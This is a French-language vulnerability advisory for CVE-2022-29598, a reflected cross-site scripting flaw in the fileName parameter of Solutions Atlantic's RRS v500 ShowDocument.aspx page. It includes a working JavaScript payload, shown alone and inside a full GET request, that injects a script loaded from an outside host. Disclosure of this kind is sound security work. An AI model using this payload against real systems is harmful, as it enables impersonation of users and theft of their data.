
L'application RRS v500 est vulnérable à une vulnérabilité de Cross-Site Scripting (XSS) réfléchi.
Mitre URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-29598
NIST URL: https://nvd.nist.gov/vuln/detail/CVE-2022-29598
L'application RRS v500 de Solutions Atlantic est vulnérable à une vulnérabilité de Cross-Site Scripting (XSS) réfléchi. L'exploitation d'une vulnérabilité XSS pourrait permettre à un adversaire de se faire passer pour l'utilisateur victime, de divulguer des données sensibles ou d'effectuer des actions que l'utilisateur victime est autorisé à effectuer.
Le paramètre fileName a été trouvé pour accepter les entrées utilisateur et les refléter dans la réponse du serveur. Bien qu'un filtrage et une sanitisation des entrées utilisateur aient été effectués avant la réflexion, comme un encodage de certains caractères spéciaux (symboles supérieur/inférieur), comme la réflexion s'est produite dans un contexte JavaScript, du code JavaScript a pu être injecté dans la réponse du serveur, contournant les restrictions.
URL affectée :
/RRSWeb/maint/ShowDocument/ShowDocument.aspxPayload XSS utilisée :
javascript:var%20x=document.createElement("script");x.src="https://thegetch.github.io/x";document.body.appendChild(x)';//URL affectée :
/RRSWeb/maint/ShowDocument/ShowDocument.aspxL'application a la capacité de créer des liens vers des sites web externes. Lors de la sélection d'un lien vers le site externe, une requête vers /RRSWeb/maint/ShowDocument/ShowDocument.aspx est effectuée avec deux paramètres, fileName, qui contiendra l'URL du site externe vers lequel rediriger, et requestType, qui aura la valeur ExternalLink. Tant que le paramètre requestType est défini avec sa valeur par défaut, tout ce qu'un utilisateur met dans le paramètre fileName sera reflété dans un contexte JavaScript, spécifiquement dans un window.location.href. En utilisant une payload XSS avec une directive JavaScript, une attaque XSS réfléchie réussie peut se produire.
Requête GET avec payload XSS :
GET /RRSWeb/maint/ShowDocument/ShowDocument.aspx?requestType=ExternalLink&fileName=javascript:var%20x=document.createElement("script");x.src="https://thegetch.github.io/x";document.body.appendChild(x)';// HTTP/1.1
Host: <REDACTED>
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: Keep-Alive
Referer: http://<REDACTED>/RRSweb/default.aspx
Cookie: ASP.NET_SessionId=<REDACTED>
Upgrade-Insecure-Requests: 1
Content-Length: 0
Réponse du serveur :

Rendu dans le navigateur :

Avril 2022